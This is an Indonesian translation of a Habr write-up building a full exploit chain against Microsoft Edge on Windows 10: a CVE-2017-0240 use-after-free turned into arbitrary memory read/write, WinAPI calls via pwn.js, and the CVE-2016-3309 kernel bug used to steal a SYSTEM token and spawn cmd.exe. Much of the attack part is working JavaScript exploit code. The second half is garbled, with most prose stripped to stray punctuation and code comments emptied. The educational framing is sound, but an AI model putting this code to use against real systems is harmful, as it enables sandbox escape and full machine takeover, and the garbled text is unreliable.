Microsoft Edge dari CVE hingga RCE pada Windows 10

Intro


Dalam kerangka kerja artikel ini, kami akan mempertimbangkan secara cukup rinci proses penulisan eksploit untuk kerentanan di Microsoft Edge, dengan keluar selanjutnya dari kotak pasir. Jika Anda tertarik untuk mengetahui seperti apa proses ini, selamat datang di bawah kucing!


Pendahuluan


Pada Pwn2Own 2019 terbaru di Montreal, dalam kategori browser, sebuah eksploitasi untuk meretas Microsoft Edge didemonstrasikan . Dua kerentanan digunakan untuk ini: double free di renderer dan kerentanan logis untuk keluar dari kotak pasir. Kedua kerentanan ini baru saja ditutup dan diberikan CVE sesuai: CVE-2019-0940 dan CVE-2019-0938 . Anda dapat membaca lebih lanjut tentang kerentanan di blog: Pwn2Own 2019: Eksploitasi Microsoft Edge Renderer (CVE-2019-0940). Bagian 1 dan Pwn2Own 2019: Microsoft Eedge Sandbox Escape (CVE-2019-0938). Bagian 2


Sebagai bagian dari artikel kami, kami ingin menunjukkan proses penulisan eksploit seperti itu dan berapa banyak waktu dan sumber daya yang diperlukan untuk ini menggunakan contoh Microsoft Edge pada Windows 10 menggunakan CVE-2017-0240 dan CVE-2016-3309 . Salah satu perbedaannya adalah bahwa jika exploit yang didemonstrasikan di Pwn2Own menggunakan kerentanan logis untuk keluar dari sandbox, maka dalam skenario kami, kerentanan di kernel Windows 10 akan digunakan untuk keluar dari sandbox. Seperti yang ditunjukkan oleh tambalan dari Microsoft , ada lebih banyak kerentanan di kernel daripada kerentanan dalam implementasi sandbox. Akibatnya, rantai kerentanan seperti itu jauh lebih mungkin ditemui, dan akan berguna untuk mengetahui karyawan IS di perusahaan.


Sumber data


Artikel ini akan membahas proses penulisan eksploitasi 1 hari untuk browser Microsoft Edge . CVE-2017-0240 akan dioperasikan. Tahap pertama operasi akan didasarkan pada bahan dari sumber [1], kita akan mendapatkan arbitrary address read/write primitif, dan juga berkenalan dengan berbagai teknik yang mungkin berguna dalam mengeksploitasi kerentanan tersebut. Selanjutnya, kami akan memperkenalkan Anda ke alat pwn.js , yang akan membantu Anda mendapatkan panggilan ke fungsi sewenang-wenang berdasarkan membaca dan menulis sewenang-wenang, dan juga akan mempertimbangkan berbagai mitigations dan cara untuk memotongnya. Pada tahap terakhir, kerentanan kernel Windows CVE-2016-3309 akan dieksploitasi untuk meningkatkan hak istimewa, memotong batasan AppContainer dan mendapatkan kontrol penuh atas mesin yang diserang.


Pengoperasian akan dilakukan di dudukan dengan Microsoft Windows 10 Pro 1703 (10.0.15063) dan browser Microsoft Edge (40.15063.0.0) .


Langkah 1. Mendapatkan arbitrary address read/write primitif


Deskripsi Kerentanan dan Perolehan OOB


Kerentanan tipe use-after-free hadir dalam metode copyFromChannel dari objek Audio Buffer .


AudioBuffer adalah antarmuka aset audio pendek yang terletak di memori dan dibuat dari file audio menggunakan metode AudioContext.decodeAudioData (), atau dari sumber data menggunakan metode AudioContext.createBuffer (). Data audio yang ditempatkan di AudioBuffer dapat diputar di AudioBufferSourceNode.

Presentasi The Advanced Exploitation of 64-bit Edge Browser Use-After-Free Vulnerability on Windows 10 memberikan analisis terperinci tentang kerentanan dan tambalan. Ketika metode copyFromChannel , isi saluran buffer audio disalin ke buffer destination ditentukan oleh argumen pertama. Metode ini juga menerima nomor saluran ( channelNumber ) dan offset dalam buffer audio ( startInChannel ), mulai dari mana penyalinan diperlukan. Sebelum secara langsung menyalin data ke destination dalam fungsi CDOMAudioBuffer::Var_copyFromChannel , buffer destination -cache (alamat dan ukuran buffer disimpan dalam variabel fungsi lokal di stack) dan nilai channelNumber dan startInChannel objek startInChannel ke tipe Int , untuk mana valueOf metode objek yang dikonversi dipanggil. Kerentanannya adalah buffer yang di-cache dapat dibebaskan pada saat konversi tipe dalam metode yang ditimpa objek valueOf . Untuk verifikasi, kami menggunakan kode berikut:


 // ,     var t2 = new Float32Array(0x20000); var ta = new Uint8Array(t2.buffer); for (i=0;i<t2.length;i++) t2[i] = 0x66; var myctx = new AudioContext(); var audioBuf = myctx.createBuffer(1, 0x25, 22050); //   -   var t = audioBuf.getChannelData(0); var ta2 = new Uint8Array(t.buffer); for(i=0;i<ta2.length;i++) ta2[i]=0x55; //     valueOf var obj = { valueOf: function () { //   var worker = new Worker('worker.js'); worker.postMessage(0, [t2.buffer]); worker.terminate(); worker = null; //    sleep(1000); return 0; } }; //   audioBuf.copyFromChannel(t2, obj, 0); 

Kode ini menggunakan teknologi Web Workers untuk membebaskan buffer. Setelah membuat Worker kosong, kami dapat mengiriminya pesan menggunakan metode postMessage . Argumen transfer opsional kedua dari metode ini menerima larik objek yang dapat Transferable ( ArrayBuffer , MessagePost atau ImageBitmap ), hak atas objek akan ditransfer ke Worker dan objek tidak akan lagi tersedia dalam konteks saat ini, sehingga dapat dihapus. Setelah ini, panggilan untuk sleep terjadi - fungsi yang untuk sementara menghentikan eksekusi suatu program (ini diterapkan secara independen). Ini diperlukan agar sistem pengumpulan sampah ( GC , Garbage Collector ) berhasil membebaskan buffer, hak-hak yang ditransfer.


Pekerja Web menyediakan cara sederhana untuk menjalankan skrip di utas latar belakang. Utusan pekerja dapat melakukan tugas tanpa mengganggu antarmuka pengguna. Selain itu, mereka dapat melakukan I / O menggunakan XMLHttpRequest (meskipun atribut responseXML dan kanal akan selalu nol). Pekerja yang ada dapat mengirim pesan JavaScript ke kode pembuat melalui pengendali acara yang ditentukan oleh kode ini (dan sebaliknya).

Dengan menjalankan kode ini di Edge di bawah debugger, Anda bisa mendapatkan crash berikut.


Langkah 01 macet


Akibatnya, panggilan ke copyFromChannel mencoba menyalin konten buffer audio ke area memori yang tidak terisi. Untuk mengeksploitasi kerentanan, perlu untuk mencapai alokasi objek apa pun di area memori ini. Dalam hal ini, segmen array sempurna.


Array dalam Chakra (mesin JS yang digunakan dalam browser Edge ) disusun sebagai berikut: objek array memiliki ukuran tetap, pointer ke objek array (atau nilai, dalam kasus IntArray ) disimpan di area memori yang terpisah - segmen, pointer ke mana terdapat di objek. array Header segmen berisi berbagai informasi, termasuk ukuran segmen, yang sesuai dengan ukuran array. Ukuran array juga ada pada objek array itu sendiri. Secara skematis, tampilannya seperti ini:


Struktur array


Dengan demikian, jika kita berhasil memilih segmen array di ruang yang sebelumnya dibebaskan, maka kita dapat menimpa header segmen array dengan isi buffer audio. Untuk melakukan ini, kami memodifikasi kode di atas dengan menambahkan baris berikut setelah sleep(1000); :


 ... /*        ,    .   arr        */ arr = new Array(128); for(var i = 0; i < arr.length; i++) { arr[i] = new Array(0x3ff0); for(var j = 0; j < arr[i].length; j++) arr[i][j] = 0x30303030; } ... 

Ukuran array dipilih sehingga ukuran segmen array menempati seluruh segmen heap (potongan memori minimum yang tidak dapat dibagi, ukurannya adalah 0x10000 byte). Jalankan kode ini, tentukan fungsi memcpy sebagai breakpoint (akan ada banyak panggilan memcpy , jadi masuk akal untuk berhenti dulu di edgehtml!WebCore::AudioBufferData::copyBufferData ), di mana crash terjadi. Kami mendapatkan hasil sebagai berikut:


Langkah 02


Hebat! Sekarang kita dapat menimpa header segmen array dengan nilai kita sendiri. Nilai yang paling menarik dalam hal ini adalah ukuran array, offset yang dapat kita lihat pada screenshot di atas. Ubah isi buffer audio sebagai berikut:


 ... var t = audioBuf.getChannelData(0); var ta2 = new Uint32Array(t.buffer); ta2[0] = 0; ta2[1] = 0; ta2[2] = 0xffe0; ta2[3] = 0; ta2[4] = 0; ta2[5] = 0; ta2[6] = 0xfba6; ta2[7] = 0; ta2[8] = 0; ta2[9] = 0x7fffffff - 2; ta2[10] = 0x7fffffff; ta2[11] = 0; ta2[12] = 0; ta2[13] = 0; ta2[14] = 0x40404040; ta2[15] = 0x50505050; ... 

Perhatikan nilai-nilai ta2[14] dan ta2[15] - mereka sudah merujuk bukan ke header segmen, tetapi ke nilai array itu sendiri. Dengan ini, kita dapat menentukan array yang kita butuhkan dalam array global sebagai berikut:


 ... for(var i = 0; i < arr.length; i++) { if(arr[i][0] == 0x40404040 && arr[i][1] == 0x50505050) { alert('Target array idx: ' + i); target_idx = i; target_arr = arr[i]; break; } } 

Jika sebagai hasilnya ditemukan array, dua elemen pertama yang diubah dengan cara tertentu, maka semuanya baik-baik saja. Sekarang kami memiliki array yang ukuran segmennya lebih besar dari yang sebenarnya. Array yang tersisa dapat dibebaskan.


Di sini perlu diingat bahwa ukuran array ada di dua entitas: di objek array, di mana ia tetap tidak berubah, dan di segmen array, di mana kami meningkatkannya. Ternyata ukuran dalam objek array diabaikan jika kode dieksekusi dalam mode JIT dan telah dioptimalkan. Ini mudah dicapai, misalnya, sebagai berikut:


 function arr_get(idx) { return target_arr[idx]; } function arr_set(idx, val) { target_arr[idx] = val; } for(var i = 0; i < 0x3ff0; i++) { arr_set(i, arr_get(i)); } 

Setelah itu, menggunakan fungsi arr_get dan arr_set Anda dapat melampaui batas array ( OOB , out-of-bound ).


Menggunakan OOB untuk membuat primitif membaca dan menulis ke alamat yang sewenang-wenang


Di bagian ini, kami mempertimbangkan teknik yang memungkinkan Anda membaca dan menulis ke alamat arbitrer menggunakan OOB . Metode yang digunakan untuk mendapatkan ini akan mirip dengan yang digunakan dalam sumber [1], tetapi juga akan ada perubahan signifikan.


Dalam versi Edge digunakan Edge blok memori untuk heap dialokasikan secara berurutan, yang karenanya, ketika mengalokasikan sejumlah besar objek, cepat atau lambat mereka akan muncul setelah segmen array, di mana kita dapat pergi.


Pertama, ini memberi kita kemampuan untuk membaca pointer ke tabel virtual metode objek ( vftable ), sehingga kita dapat memotong pengacakan ruang proses alamat ( ASLR ). Tetapi akses ke objek mana yang akan membantu kita mencapai membaca dan menulis secara sewenang-wenang? Beberapa objek DataView sangat bagus untuk ini.


DataView menyediakan antarmuka tingkat rendah untuk membaca dan menulis beberapa jenis angka dalam biner ArrayBuffer, terlepas dari urutan byte platform.

Struktur internal DataView berisi pointer ke buffer. Untuk membaca dan menulis ke alamat yang berubah-ubah, misalnya, kita dapat membangun rantai dua DataView ( dv1 dan dv2 ) sebagai berikut: sebagai buffer dv1 tentukan alamat dv2 dengan mengakses array. Sekarang menggunakan dv1 kita dapat mengubah alamat buffer dv2 , yang dengannya pembacaan dan penulisan sewenang-wenang dicapai. Secara skematis, ini dapat direpresentasikan sebagai berikut:


Alamat sembarang membaca / menulis


Untuk menggunakan metode ini, Anda perlu mempelajari cara menentukan alamat objek dalam memori. Untuk melakukan ini, ada teknik berikut: Anda perlu membuat Array baru, gunakan OOB untuk menyimpan vftable dan typeId (dua bidang 64-bit pertama dari struktur) dan menetapkan objek yang alamatnya menarik ke elemen pertama array. Kemudian, Anda harus mengembalikan nilai vftable dan typeId sebelumnya disimpan. Sekarang kata ganda junior dan senior dari alamat objek dapat diperoleh dengan merujuk pada elemen pertama dan kedua dari array. Faktanya adalah, secara default, array baru adalah IntArray , dan nilai-nilai 4-byte array disimpan di segmennya sebagaimana adanya. Saat menetapkan objek ke array, array dikonversi ke ObjectArray , dan segmennya digunakan untuk menyimpan alamat objek. Konversi mengubah vftable dan typeId . Dengan demikian, jika kita mengembalikan nilai asli vftable dan typeId , melalui elemen array ini kita dapat mengakses segmen secara langsung. Proses yang dijelaskan secara skematis dapat direpresentasikan sebagai berikut:


Pointer bocor


Fungsi untuk mendapatkan alamat akan terlihat seperti ini:


 function addressOf(obj) { var hdr_backup = new Array(4); //  vftable  typeId intarr_object for(var i = 0; i < 4; i++) hdr_backup[i] = arr_get(intarr_idx + i); intarr_object[0] = obj; //  vftable  typeId intarr_object for(var i = 0; i < 4; i++) arr_set(intarr_idx + i, hdr_backup[i]); //         return [intarr_object[0], intarr_object[1]]; } 

Pertanyaan terbuka tetap berupa penciptaan objek yang diperlukan dan pencarian mereka menggunakan OOB . Seperti disebutkan sebelumnya, ketika mengalokasikan sejumlah besar objek, cepat atau lambat mereka akan mulai menonjol setelah segmen array, di luar itu kita dapat pergi. Untuk menemukan objek yang diperlukan, Anda hanya perlu menelusuri indeks di luar array untuk mencari objek yang diperlukan. Karena semua objek dari tipe yang sama terletak di satu segmen tumpukan, Anda dapat mengoptimalkan pencarian dan pergi melalui segmen tumpukan dengan peningkatan 0x10000 , dan periksa hanya beberapa nilai pertama dari awal setiap segmen tumpukan. Untuk mengidentifikasi objek, Anda dapat menetapkan nilai unik untuk beberapa parameter (misalnya, untuk DataView dapat berupa byteOffset ) atau, menggunakan konstanta yang sudah diketahui dalam struktur objek (misalnya, dalam versi Edge digunakan dalam IntArray , nilai 0x10005 selalu ditemukan pada 0x18 ).


Dengan menggabungkan semua teknik di atas, Anda dapat membaca dan menulis ke alamat yang berubah-ubah. Di bawah ini adalah tangkapan layar untuk membaca objek memori DataView .


Kebocoran memori


Langkah 2. Melakukan fungsi API sewenang-wenang


Pada tahap ini, kami dapat membaca dan menulis ke alamat sewenang-wenang di dalam proses tampilan konten Edge . Pertimbangkan teknologi utama yang harus mengganggu operasi lebih lanjut dari aplikasi dan solusi mereka. Kami sudah menulis serangkaian artikel pendek app specific security mitigation ( bagian 1, pengantar , bagian 2, Internet Explorer dan Edge , bagian 3, Google Chrome ), tetapi perlu diingat bahwa pengembang tidak tinggal diam dan menambahkan alat baru ke produk mereka perlindungan.


Address Space Randomization ( ASLR )


ASLR (English address space layout randomization) adalah teknologi yang digunakan dalam sistem operasi yang secara acak mengubah lokasi struktur data penting dalam ruang alamat proses, yaitu: gambar file yang dapat dieksekusi, perpustakaan yang dimuat, tumpukan dan tumpukan.

Di atas, kami belajar membaca alamat tabel kelas virtual, menggunakannya, kami dapat dengan mudah menghitung alamat dasar modul Chakra.dll , sehingga ASLR tidak menimbulkan masalah untuk operasi lebih lanjut.


Perlindungan eksekusi data ( DEP , NX )


Pencegahan Eksekusi Data (DEP) adalah fitur keamanan yang dibangun di Linux, Mac OS X, Android, dan Windows yang mencegah aplikasi untuk mengeksekusi kode dari area memori yang ditandai sebagai "hanya data". Ini akan mencegah beberapa serangan, yang, misalnya, menyimpan kode di area tersebut menggunakan buffer overflows.

Salah satu cara untuk melindungi ini adalah dengan memanggil VirtualAlloc menggunakan rantai ROP . Tetapi dalam kasus Edge metode ini tidak akan berfungsi karena ACG (lihat di bawah).


Control Flow Guard ( CFG )


CFG adalah mekanisme perlindungan yang bertujuan mempersulit proses eksploitasi kerentanan biner dalam aplikasi mode pengguna dan kernel. Pekerjaan mekanisme ini terdiri dalam memvalidasi panggilan tidak langsung, yang mencegah penyerang mencegat utas eksekusi (misalnya, dengan menimpa tabel fungsi virtual)

Teknologi ini hanya mengontrol panggilan tidak langsung, misalnya, panggilan metode dari tabel virtual fungsi objek. Alamat pengirim pada tumpukan tidak dikontrol, dan ini dapat digunakan untuk membangun rantai ROP . Penggunaan rantai ROP/JOP/COP dapat terhalang oleh teknologi baru Intel : Control-flow Enforcement Technology ( CET ). Teknologi ini terdiri dari dua bagian:


  1. Shadow Stack (shadow stack) - digunakan untuk mengontrol alamat pengirim dan melindungi rantai ROP ;
  2. Indirect Branch Tracking adalah metode perlindungan terhadap rantai JOP/COP . Ini adalah instruksi ENDBRANCH baru, yang menandai semua alamat transisi yang valid untuk instruksi call dan jmp .

Penjaga Kode Sewenang-wenang ( ACG )


ACG adalah teknologi yang mencegah pembuatan kode dinamis (dilarang mengalokasikan area memori VirtaulAlloc menggunakan VirtaulAlloc ) dan modifikasinya (tidak mungkin untuk VirtaulAlloc kembali area memori yang ada sebagai yang dapat dieksekusi)

Perlindungan ini, seperti CFG , tidak mencegah penggunaan rantai ROP .


Isolasi AppContainer


AppContainer adalah teknologi Microsoft yang memungkinkan Anda mengisolasi suatu proses dengan menjalankannya di lingkungan berpasir. Teknologi ini membatasi akses suatu proses ke kredensial, perangkat, sistem file, jaringan, proses dan jendela lain dan bertujuan meminimalkan kemampuan malware yang memiliki kemampuan untuk mengeksekusi kode arbitrer dalam suatu proses.

Perlindungan ini sangat menyulitkan proses operasi. Karena itu, kami tidak dapat memanggil file pihak ketiga yang dapat dieksekusi atau mengakses informasi pengguna yang sensitif dalam memori atau pada disk. Namun, perlindungan ini dapat diatasi dengan menggunakan kerentanan dalam penerapan kotak pasir AppContainer atau dengan meningkatkan hak istimewa melalui pemanfaatan kerentanan di kernel OS.


Perlu dicatat bahwa Microsoft memiliki program hadiah terpisah untuk teknik menghindari teknologi security mitigation . Program menunjukkan bahwa menggunakan kembali kode yang dapat dieksekusi (membangun rantai ROP adalah variasi dari teknik ini) tidak termasuk dalam program ini, karena adalah masalah arsitektur.


Menggunakan pwn.js


Dari analisis semua teknologi keamanan, dapat disimpulkan bahwa untuk dapat mengeksekusi kode arbitrer, Anda perlu mem-bypass kotak pasir AppContainer . Pada artikel ini, kami menjelaskan metode yang menggunakan kerentanan di kernel Windows . Dalam hal ini, kami hanya dapat menggunakan kode JS dan rantai ROP . Menulis sebuah exploit untuk kernel hanya menggunakan rantai ROP bisa sangat sulit. Untuk menyederhanakan tugas ini, Anda dapat menemukan satu set gadget yang dengannya kami dapat memanggil metode WinAPI diperlukan. Untungnya, ini sudah diterapkan di perpustakaan pwn.js Dengan menggunakannya, setelah hanya menjelaskan fungsi read dan write untuk membaca dan menulis sewenang-wenang, Anda bisa mendapatkan API mudah untuk menemukan fungsi WinAPI diperlukan dan memanggilnya. pwn.js juga menyediakan alat yang nyaman untuk bekerja dengan nilai 64-bit dan pointer dan alat untuk bekerja dengan struktur.


Pertimbangkan contoh sederhana. Pada langkah sebelumnya, kami mendapat rantai dua DataView terkait. Untuk menyiapkan exploit, Anda harus membuat kelas berikut:


 var Exploit = (function() { var ChakraExploit = pwnjs.ChakraExploit; var Integer = pwnjs.Integer; function Exploit() { ChakraExploit.call(this); ... //  arbitrary address read/write    ... // DataView,         this.dv = ...; // DataView,     this.dv this.dv_offset = ...; //    Chakra.dll, ,     var vtable = ...; this.initChakra(vtable); } Exploit.prototype = Object.create(ChakraExploit.prototype); Exploit.prototype.constructor = Exploit; Exploit.prototype.set_dv_address = function(lo, hi) { this.dv_offset.setInt32(0x38, lo, true); this.dv_offset.setInt32(0x3c, hi, true); } Exploit.prototype.read = function (address, size) { this.set_dv_address(address.low, address.high); switch (size) { case 8: return new Integer(this.dv.getInt8(0, true), 0, true); case 16: return new Integer(this.dv.getInt16(0, true), 0, true); case 32: return new Integer(this.dv.getInt32(0, true), 0, true); case 64: return new Integer(this.dv.getInt32(0, true), this.dv.getInt32(4, true), true); } } Exploit.prototype.write = function (address, value, size) { this.set_dv_address(address.low, address.high); switch (size) { case 8: this.dv.setInt8(0, value.low, true); break; case 16: this.dv.setInt16(0, value.low, true); break; case 32: this.dv.setInt32(0, value.low, true); break; case 64: this.dv.setInt32(0, value.low, true); this.dv.setInt32(4, value.high, true); break; } } return Exploit; })(); 

, MessageBoxA :


 function run() { with (new Exploit()) { //alert('Chakra: ' + chakraBase.toString(16)); var MessageBoxA = importFunction('user32.dll', 'MessageBoxA', Int32); var GetActiveWindow = importFunction('user32.dll', 'GetActiveWindow', Int64); var hwnd = GetActiveWindow(); var ret = MessageBoxA(hwnd, new CString('PWNED'), new CString('PWNED'), 0); } } 

:


PWNED


3.


WinAPI . . CVE-2016-3309 . [7] [8], pwn.js [2] , GDI -. [9], [10] [11]. . , . , AppContainer , pwn.js . cmd.exe SYSTEM .


GDI β€” Windows , , .

, . JS - 64- kernel_read_64 kernel_write_64 , . Windows. BITMAP , . pwn.js . BITMAP , , :


 var BITMAP = new StructType([ ['poolHeader', new ArrayType(Uint32, 4)], // BASEOBJECT64 ['hHmgr', Uint64], ['ulShareCount', Uint32], ['cExclusiveLock', Uint16], ['BaseFlags', Uint16], ['Tid', Uint64], ['dhsurf', Uint64], ['hsurf', Uint64], ['dhpdev', Uint64], ['hdev', Uint64], ['sizlBitmap', SIZEL], ['cjBits', Uint32], ['pvBits', Uint64], ['pvScan0', Uint64], ]); 

Tid KTHREAD , , , EmpCheckErrataList , . , :


 ... var nt_EmpCheckErrataList_ptr = worker_bitmap_obj.Tid.add(0x2a8); var nt_EmpCheckErrataList = kernel_read_64(nt_EmpCheckErrataList_ptr); /* g_config   ,         empCheckErrataList  WinDbg        : ? nt!EmpCheckErrataList - nt */ var ntoskrnl_base_address = nt_EmpCheckErrataList.sub( g_config.nt_empCheckErrataList_offset); ... 

, AppContainer . AppContainer IsPackagedProcess ( Process Environment Block , PEB ), . Access Token , AppContainer . Access Token , . Access Token , . EPROCESS ActiveProcessLinks , . PEB EPROCESS . PsInitialSystemProcess , , ActiveProcessLinks .


Edge : , Edge . SYSTEM . , , winlogon.exe .


pwn.js :


 //  PEB   var pinfo = _PROCESS_BASIC_INFORMATION.Ptr.cast(malloc(_PROCESS_BASIC_INFORMATION.size)); var pinfo_sz = Uint64.Ptr.cast(malloc(8)); NtQueryInformationProcess(GetCurrentProcess(), 0, pinfo, _PROCESS_BASIC_INFORMATION.size, pinfo_sz); var peb = pinfo.PebBaseAddress; /*    IsPackagedProcess       peb   char * */ var bit_field = peb[3]; bit_field = bit_field.xor(1 << 4); peb[3] = bit_field; /*             WinDbg    .     : dt ntdll!_EPROCESS uniqueprocessid token activeprocesslinks           */ var ActiveProcessLinks = system_eprocess.add( g_config.ActiveProcessLinksOffset); var current_pid = GetCurrentProcessId(); var current_eprocess = null; var winlogon_pid = null; // winlogon.exe -  ,     cmd.exe var winlogon = new CString("winlogon.exe"); var image_name = malloc(16); var system_pid = kernel_read_64(system_eprocess.add( g_config.UniqueProcessIdOffset)); while(!current_eprocess || !winlogon_pid) { var eprocess = kernel_read_64(ActiveProcessLinks).sub( g_config.ActiveProcessLinksOffset); var pid = kernel_read_64(eprocess.add( g_config.UniqueProcessIdOffset)); //        //   Uint64.store( image_name.address, kernel_read_64(eprocess.add(g_config.ImageNameOffset)) ); Uint64.store( image_name.address.add(8), kernel_read_64(eprocess.add(g_config.ImageNameOffset + 8)) ); //   winlogon.exe    if(_stricmp(winlogon, image_name).eq(0)) { winlogon_pid = pid; } if (current_pid.eq(pid)) { current_eprocess = eprocess; } //        ActiveProcessLinks = eprocess.add( g_config.ActiveProcessLinksOffset); } //     var sys_token = kernel_read_64(system_eprocess.add(g_config.TokenOffset)); //          //   winlogon.exe var pi = malloc(24); memset(pi, 0, 24); var si = malloc(104 + 8); memset(si, 0, 104 + 8); Uint32.store(si.address, new Integer(104 + 8)); var args = WString("cmd.exe"); var AttributeListSize = Uint64.Ptr.cast(malloc(8)); InitializeProcThreadAttributeList(0, 1, 0, AttributeListSize); var lpAttributeList = malloc(AttributeListSize[0]); Uint64.store( si.address.add(104), lpAttributeList ); InitializeProcThreadAttributeList(lpAttributeList, 1, 0, AttributeListSize) var winlogon_handle = Uint64.Ptr.cast(malloc(8)); //       kernel_write_64(current_eprocess.add(g_config.TokenOffset), sys_token); /*        AppContainer,       winlogon.exe         winlogon.exe */ winlogon_handle[0] = OpenProcess(PROCESS_ALL_ACCESS, 0, winlogon_pid); UpdateProcThreadAttribute(lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, winlogon_handle, 8, 0, 0); CreateProcess(0, args, 0, 0, 0, EXTENDED_STARTUPINFO_PRESENT, 0, 0, si, pi); 

:


Final


YouTube , Microsoft Edge.


Ringkasan


:


  • , Edge Windows , 13 , CVE-2017-0240 , . CVE-2016-3309 .
  • JS
  • 666 JS
  • : cmd.exe SYSTEM ,

, , . , , . .



  1. Liu Jin β€” The Advanced Exploitation of 64-bit Edge Browser Use-After-Free Vulnerability on Windows 10
  2. Andrew Wesie, Brian Pak β€” 1-Day Browser & Kernel
    Exploitation
  3. Natalie Silvanovich β€” The ECMA and the Chakra. Hunting bugs in the Microsoft Edge Script Engine
  4. Natalie Silvanovich β€” Your Chakra Is Not Aligned. Hunting bugs in the Microsoft Edge Script Engine
  5. phoenhex team β€” cve-2018-8629-chakra.js
  6. Quarkslab β€” Exploiting MS16-145: MS Edge TypedArray.sort Use-After-Free (CVE-2016-7288)
  7. Exploiting MS16-098 RGNOBJ Integer Overflow on Windows 8.1 x64 bit by abusing GDI objects
  8. Siberas β€” Kernel Exploitation Case Study β€” "Wild" Pool Overflow on Win10 x64 RS2 (CVE-2016-3309 Reloaded)
  9. Saif El-Sherei β€” Demystifying Windows Kernel Exploitation by Abusing GDI Objects
  10. Diego Juarez β€” Abusing GDI for ring0 exploit primitives
  11. Nicolas A. Economou β€” Abusing GDI for ring0 exploit
    primitives: Evolution
  12. pwn.js

Source: https://habr.com/ru/post/id455594/


All Articles